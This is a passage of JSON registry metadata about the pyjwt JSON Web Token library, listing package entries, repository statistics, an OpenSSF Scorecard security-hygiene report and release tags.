jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":27,"html_url":null,"role":null,"created_at":"2026-03-07T09:24:38.263Z","updated_at":"2026-03-07T09:24:38.263Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-unstable","url":"https://channels.nixos.org/nixos-unstable","ecosystem":"nixpkgs","default":true,"packages_count":148656,"maintainers_count":4717,"namespaces_count":0,"keywords_count":2908,"github":"NixOS","metadata":{"funded_packages_count":1599},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:52.762Z","updated_at":"2026-06-10T05:16:03.119Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/namespaces"}},{"id":13441739,"name":"pyjwt","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-08T06:11:08.566Z","latest_release_published_at":"2026-02-08T06:11:08.566Z","latest_release_number":"2.7.0-1","last_synced_at":"2026-03-08T06:29:25.910Z","created_at":"2026-02-08T06:11:08.098Z","updated_at":"2026-05-29T04:00:36.242Z","registry_url":"https://launchpad.net/ubuntu/+source/pyjwt","install_command":"apt-get install pyjwt","documentation_url":null,"metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.6.2","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, pybuild-plugin-pyproject, python3-all, python3-cryptography, python3-exceptiongroup, python3-pytest, python3-pytest-cov, python3-pytest-runner, python3-setuptools, python3-tomli","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:g